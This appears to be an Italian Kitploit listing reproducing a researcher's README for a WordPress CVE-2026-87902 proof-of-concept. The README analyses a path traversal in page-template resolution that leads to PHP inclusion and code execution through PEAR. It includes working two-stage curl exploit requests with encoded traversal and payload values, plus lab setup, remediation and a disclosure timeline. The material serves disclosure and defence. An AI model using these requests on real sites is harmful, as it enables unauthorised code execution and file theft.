Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-87902-poc — PoC per CVE-2026-87902 — path traversal non autenticato nella risoluzione dei page-template di WordPress (inclusione PHP locale, RCE condizionale) con un lab vulnerabile bloccato | Kitploit
Strumenti/GitHubGitHub/ressl/cve-2026-87902-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebVirtualizzazione per la SicurezzaSicurezza WebPenetration TestingLab e Pratica
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

PoC per CVE-2026-87902 — path traversal non autenticato nella risoluzione dei page-template di WordPress (inclusione PHP locale, RCE condizionale) con un lab vulnerabile bloccato

Vedi Repository
3151 giorno faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-87902 — WordPress Core: path traversal non autenticato nella risoluzione dei template di pagina

Inclusione locale non autenticata di file PHP in WordPress Core tramite un valore pagename con doppia codifica — e, in specifiche condizioni di deployment, esecuzione di codice PHP con i privilegi dell'account del web server.

CVECVE-2026-87902
Avviso del fornitoreGHSA-7hp8-65ch-5whp
Write-upCVE-2026-87902: Critical WordPress file inclusion and conditional RCE
AffettoWordPress Core 4.7.0 – 7.1.1 (ogni branch, secondo gli intervalli per branch dell'avviso); riprodotto dinamicamente su 7.0.2
Corretto7.1.2 (branch 7.1), 7.0.6 (branch 7.0) e un backport per ogni branch fino a 4.7.37 (secondo l'avviso)
DebolezzeCWE-98 (controllo improprio del nome file nell'include), CWE-22 / CWE-23 (path traversal)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High
CVSS v4.0 (supplementare)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical
Autenticazionenessuna — nessun account, cookie, nonce, sessione, plugin o richiesta in uscita
Interazione utentenessuna
AutoreRobert Ressl — ressl.ch
PoC verificato2026-09-22 contro il lab in questo repository — vedi Risultati verificati

Riepilogo

WordPress risolve un template di Pagina attraverso una catena che non dimostra mai che il file selezionato rimanga all'interno di una root del tema:

  1. pagename e page_id sono variabili di query pubbliche che WP::parse_request() accetta da un corpo POST anonimo.
  2. Un traversal con doppia codifica in pagename sopravvive alla sanitizzazione iniziale della query come ottetti %xx con escape (wp_basename() non riesce a vedere %2f come separatore, e sanitize_title_with_dashes() mantiene deliberatamente gli ottetti validi).
  3. Un page_id valido seleziona poi una Pagina pubblicata reale, mentre il pagename malevolo rimane nell'oggetto query.
  4. get_page_template() chiama successivamente urldecode() su quel valore e aggiunge un candidato come page-templates/../../../../../../../usr/local/lib/php/pearcmd.php alla gerarchia dei template.
  5. locate_template() e il loader finale del template controllano solo l'esistenza, la leggibilità e il suffisso .php/.html — mai che il percorso canonico sia ancora all'interno di una root del tema consentita — e poi lo include.

Questo è una primitiva di inclusione locale di file remota non autenticata in WordPress Core. Sul runtime ufficiale testato (wordpress:php8.3-apache, che include PEAR e non carica alcun php.ini, quindi register_argc_argv è On), l'inclusione è stata concatenata attraverso pearcmd.php di PEAR: una prima richiesta anonima fa sì che config-create scriva PHP controllato dall'attaccante in /tmp, una seconda richiesta anonima include quel file e lo esegue come www-data.

La mancata contenimento del percorso in Core è la vulnerabilità. PEAR è solo una via dipendente dall'ambiente dall'inclusione all'esecuzione di codice — non è una dipendenza di WordPress e non è presente o utilizzabile in ogni deployment.

Causa principale

Posizioni del codice verificate (WordPress 7.0.2):

#PosizioneRuolo
1wp-includes/class-wp.php:18,322-330pagename e page_id sono query var pubbliche e vengono lette da $_POST
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f non è un separatore per wp_basename()
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() preserva gli ottetti %xx validi invece di rimuoverli
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — il traversal diventa attivo dopo la sanitizzazione
5wp-includes/template.php:722-736locate_template() concatena il candidato sotto ogni root del tema e chiama solo file_exists()
6wp-includes/template-loader.php:116-132realpath() normalizza il percorso, poi include viene eseguito senza alcun controllo canonico di contenimento nella root
7wp-includes/canonical.php:42-47redirect_canonical() ritorna anticipatamente per richieste non-GET/HEAD, quindi un POST non viene canonicalizzato via

Precondizioni

La primitiva di inclusione standalone necessita di:

#PrecondizioneMotivo
1Una Pagina pubblicata, raggiungibile anonimamente, selezionata tramite page_id numericola pagina deve essere restituita dalla query dopo che la ricerca del pathname fallisce
2Nessun template di pagina personalizzato risolvibile in precedenzaun template valido assegnato è ordinato prima del candidato malevolo
3Una directory di primo livello nel tema attivo (child o parent) il cui nome inizia con page-, ad es. page-templates/WordPress antepone il prefisso fisso page-, quindi un traversal .. non può iniziare dalla posizione 0; la directory deve solo esistere ed essere attraversabile — non deve essere scrivibile
4Un file .php locale selezionato che esiste ed è leggibile dall'utente PHPil loader controlla is_file()/is_readable() e richiede un suffisso .php
5Nessun confinamento del filesystem che blocchi quel fileun open_basedir o una policy MAC possono impedire l'include

La fase PEAR dimostrata necessita inoltre di un pearcmd.php leggibile (più le sue dipendenze), register_argc_argv=On per il SAPI web, e una directory di output scrivibile. I file php.ini di produzione impostano register_argc_argv=Off; l'immagine testata non carica alcun php.ini, quindi si è applicato il default compilato (On). Questo è un limite importante sulla prevalenza della catena di esecuzione di codice dimostrata.

I temi inclusi Twenty Twenty-Three/Four/Five non forniscono nessuna directory page-* di primo livello, quindi il lab stock necessita del fixture descritto di seguito. I temi personalizzati possono legittimamente usare un layout page-templates/ (documentazione WordPress).

L'avviso registra dove queste condizioni si verificano nel software distribuito: la condizione del tema è soddisfatta dai temi legacy Twenty Twelve e Twenty Fourteen e da temi di terze parti come Neve, Hestia e Sydney, mentre la transizione PEAR si applica all'immagine Docker ufficiale di PHP e alle configurazioni cPanel predefinite che eseguono PHP precedente alla 8.5. (Twenty Twelve e Twenty Fourteen includono entrambi una directory page-templates/ di primo livello; le restanti affermazioni sono dell'avviso.) Questo repository non misura quanto spesso si applichi la catena completa.

Avvio rapido

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + il fixture page-*, installato e pronto
python3 cve-2026-87902.py   # due POST anonimi, stampa il marker di prova

cve-2026-87902.py richiede Python 3.6+ (solo libreria standard) e raggiunge il lab su http://127.0.0.1:8091 per impostazione predefinita. Output atteso:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

Il codice di uscita è 0 in caso di successo e 1 altrimenti, quindi il PoC funziona anche come controllo di regressione/rilevamento.

Teardown: docker compose down -v.

Risultati verificati

Eseguito il 2026-09-22 contro questo lab (Docker 29.4, OrbStack, Apple silicon):

ControlloRisultato
Fase 1HTTP 200; /tmp/wp-pear-rce-flag.php scritto come www-data:www-data, mode 0644, 1219 byte
SHA-256 del payload460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — identico all'hash registrato nel report originale
Fase 2HTTP 200; il PHP iniettato ha stampato l'artefatto di prova mode-0444
Occorrenze del marker12 (PEAR serializza il valore root controllato in 12 voci di configurazione)
Credenziali usatenessuna — nessun header Cookie o Authorization in alcuna richiesta
Controllo negativopage-templates/ rimosso → la fase 2 restituisce la pagina normale, nessun marker, codice di uscita 1

L'artefatto di prova è /flag, di proprietà di root e leggibile da tutti (root:root, mode 0444) all'interno del container. Dimostra l'esecuzione di PHP e l'accesso ai file come l'account del web server; non è un obiettivo di privilege escalation.

Come funziona la catena

Due POST anonimi. I valori di routing di WordPress viaggiano nel corpo del form, gli argomenti PEAR nella query string grezza (PHP divide la query string grezza sul carattere letterale + in argv e non decodifica URL i singoli argomenti):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

Fase 1 — include pearcmd.php e scrive il payload:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

Fase 2 — include il file generato ed esegue il suo PHP:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

Dettagli che contano:

  • Due livelli di codifica. Il corpo viene decodificato una volta da PHP in templates%2f%2e%2e%2f...; il sanitizer mantiene quegli ottetti, e solo la urldecode() tardiva di get_page_template() li trasforma in / e ...
  • Prefisso page-. WordPress antepone page- al valore, quindi la directory fixture page-templates/ corrisponde al segmento iniziale templates.
  • Suffisso .php forzato. Il candidato è page-<decoded>.php, motivo per cui il target è indicato senza suffisso (.../pearcmd, /tmp/wp-pear-rce-flag).
  • POST, non GET. redirect_canonical() salta le richieste non-GET/HEAD, e il corpo del form consente alla query string di trasportare solo gli argomenti PEAR.
  • Payload senza virgolette. wp_magic_quotes() viene eseguito anche su $_SERVER, quindi l'argv costruito dal server viene sottoposto a escape e PEAR normalizza successivamente i backslash. Il payload verificato usa chr() e non contiene caratteri di virgoletta. (Si riduce a <?=file_get_contents('/flag')?>.)
  • Percorso root di config-create. PEAR rifiuta una root relativa (Root directory must be an absolute path beginning with "/"), quindi il payload viene iniettato come la root path stessa.
  • Profondità. cve-2026-87902.py percorre i segmenti .. finché il traversal raggiunge il target (7 per il layout di questo lab, --depth per fissarlo).

Lab

lab/up.sh esegue tre passaggi ed è sicuro da rieseguire:

  1. docker compose up -d --build --wait — wordpress:7.0.2-php8.3-apache fissato più mysql:8.4, porta 127.0.0.1:8091 (solo loopback).
  2. Esegue l'installer di WordPress (admin / adminadmin) se il sito non è ancora installato.
  3. Crea il fixture all'interno del tema attivo e lo stampa: wp-content/themes/twentytwentyfive/page-templates/, root:root, mode 0755, vuoto.

L'immagine del lab aggiunge esplicitamente register_argc_argv=On (lab/Dockerfile) invece di affidarsi al default compilato, e include /flag (root:root, mode 0444, contenuto CVE-2026-87902-POC-OK).

ComponenteValore
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33, modulo Apache
PEAR1.10.18 in /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
TemaTwenty Twenty-Five + fixture page-templates/ vuoto di proprietà di root
Pagina targetSample Page pubblicata, ID 2, template predefinito
Artefatto di prova/flag, root:root, mode 0444

Il tag rolling wordpress:php8.3-apache non è utilizzabile per questo lab: il bug è corretto nella 7.1.2 e un tag non fissato trasforma silenziosamente il lab in uno patchato.

Controlli negativi e limitazioni

Controlli verificati o documentati:

  • Nessuna directory page-* di primo livello nel tema → il prefisso fisso non può essere rimosso e il traversal non inizia mai (verificato: fixture rimosso → nessun marker).
  • register_argc_argv=Off → nessun writer PEAR, ma la primitiva di inclusione rimane.
  • PEAR o le sue dipendenze assenti → nessun writer.
  • Numero errato di segmenti .. → target non raggiunto (verificato: le profondità 1-6 e 8-12 non producono alcun marker nel lab).
  • Un template di pagina personalizzato assegnato alla Pagina → ordinato prima del candidato malevolo e vince.
  • Un file senza suffisso (ad es. /flag) non può essere letto direttamente — al candidato viene aggiunto .php.
  • Un WAF/CDN/reverse proxy che rifiuta byte grezzi <, >, = nel request target rompe il canale degli argomenti PEAR (specifico del deployment).
  • Il confinamento open_basedir/MAC o una directory di output non scrivibile rompono la catena; noexec su /tmp no (PHP legge e interpreta il file).

Questo PoC riproduce una configurazione verificata. Non afferma che ogni installazione WordPress sia sfruttabile, e non misura la prevalenza.

Remediation

  • Aggiornare a WordPress 7.1.2 o successivo (o al backport del proprio branch).
  • Difesa in profondità per la gestione dei template: dopo la decodifica, rifiutare candidati con traversal e assoluti (ad es. validate_file()), e prima di includere un template localizzato, confrontare realpath() del candidato e della root del tema con un separatore di directory finale.
  • Mitigazioni per gli operatori: impostare register_argc_argv=Off per i SAPI web, rimuovere dalle immagini di produzione i punti di ingresso PEAR inutilizzati e leggibili dal web, verificare i temi child e parent per directory page-* di primo livello, e limitare l'accesso in scrittura per l'account PHP.

File

PercorsoScopo
cve-2026-87902.pyexploit: rilevamento pagina, entrambe le fasi, gestione profondità, verifica marker
lab/up.shporta il lab nello stato esatto che l'exploit si aspetta (idempotente)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4, porta solo loopback
lab/Dockerfilefissa la release vulnerabile, imposta register_argc_argv=On, include /flag
lab/flagcontenuto dell'artefatto di prova

Cronologia della divulgazione

DataEvento
2026-07-20Segnalato privatamente tramite il programma HackerOne di WordPress
2026-07-21Ricezione confermata
2026-09-15Informato che una correzione era pianificata per una release imminente; richiesti dettagli di attribuzione
2026-09-22WordPress 7.1.2 rilasciato con la correzione; pubblicato l'avviso GHSA-7hp8-65ch-5whp

Il report è stato accettato come finding di sicurezza valido dopo che la sua classificazione iniziale è stata rivista; la corrispondenza non data tale accettazione.

Disclaimer

Questo repository è pubblicato per scopi difensivi e di ricerca. Usalo solo contro sistemi che possiedi o che sei esplicitamente autorizzato a testare. Il lab è vincolato a 127.0.0.1 e non deve essere esposto a reti non attendibili.

Licenza

MIT — vedi LICENSE. I metadati di citazione si trovano in CITATION.cff:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

Il report della vulnerabilità e questo PoC sono stati preparati con l'assistenza dell'IA per l'organizzazione e la revisione della coerenza; il ricercatore è responsabile delle affermazioni tecniche.

Scarica lo strumento